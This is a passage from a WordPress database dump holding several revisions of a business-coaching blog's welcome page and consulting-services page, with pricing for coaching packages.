March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-10', '', '', '2010-12-13 20:35:08', '2010-12-14 03:35:08', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-10/', 0, 'revision', '', 0),
(1322, 2, '2010-11-28 14:12:06', '2010-11-28 21:12:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities for a bigger future.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help early-stage entrepreneurs expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers and grow their business.. You can learn about my expertise in consumer brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my stuff useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-11-28 14:12:06', '2010-11-28 21:12:06', '', 172, 'http://www.whitehotcenter.com/2010/11/28/172-revision-90/', 0, 'revision', '', 0),
(1323, 2, '2010-12-16 14:55:44', '2010-12-16 21:55:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!  My passion is inspiring creativity and innovate ideas that will help you expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of your business. My mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n\r\nHere on the White Hot Center blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation.\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source of competitive advantage– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-12-16 14:55:44', '2010-12-16 21:55:44', '', 172, 'http://www.whitehotcenter.com/2010/12/16/172-revision-91/', 0, 'revision', '', 0),
(1324, 2, '2010-12-16 14:56:18', '2010-12-16 21:56:18', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!  My passion is inspiring creativity and innovate ideas that will help you expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of your business. My mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n\r\nHere on the White Hot Center blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation.\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source of competitive advantage– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-12-16 14:56:18', '2010-12-16 21:56:18', '', 172, 'http://www.whitehotcenter.com/2010/12/16/172-revision-92/', 0, 'revision', '', 0),
(1325, 2, '2010-12-16 14:58:11', '2010-12-16 21:58:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\n<span style="color: #000000;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your business and life success. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nMy passion is inspiring creativity and innovate ideas that will help you expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of your business. My mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of your clients and customers.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global companies and small start-ups alike. My expertise helps them discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n\r\nHere on the White Hot Center blog, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation.\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source of competitive advantage– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-12-16 14:58:11', '2010-12-16 21:58:11', '', 172, 'http://www.whitehotcenter.com/2010/12/16/172-revision-93/', 0, 'revision', '', 0),
(1326, 2, '2010-12-01 18:02:53', '2010-12-02 01:02:53', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 18:02:53', '2010-12-02 01:02:53', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-99/', 0, 'revision', '', 0);
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(1327, 2, '2010-12-16 15:10:32', '2010-12-16 22:10:32', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-16 15:10:32', '2010-12-16 22:10:32', '', 138, 'http://www.whitehotcenter.com/2010/12/16/138-revision-100/', 0, 'revision', '', 0),
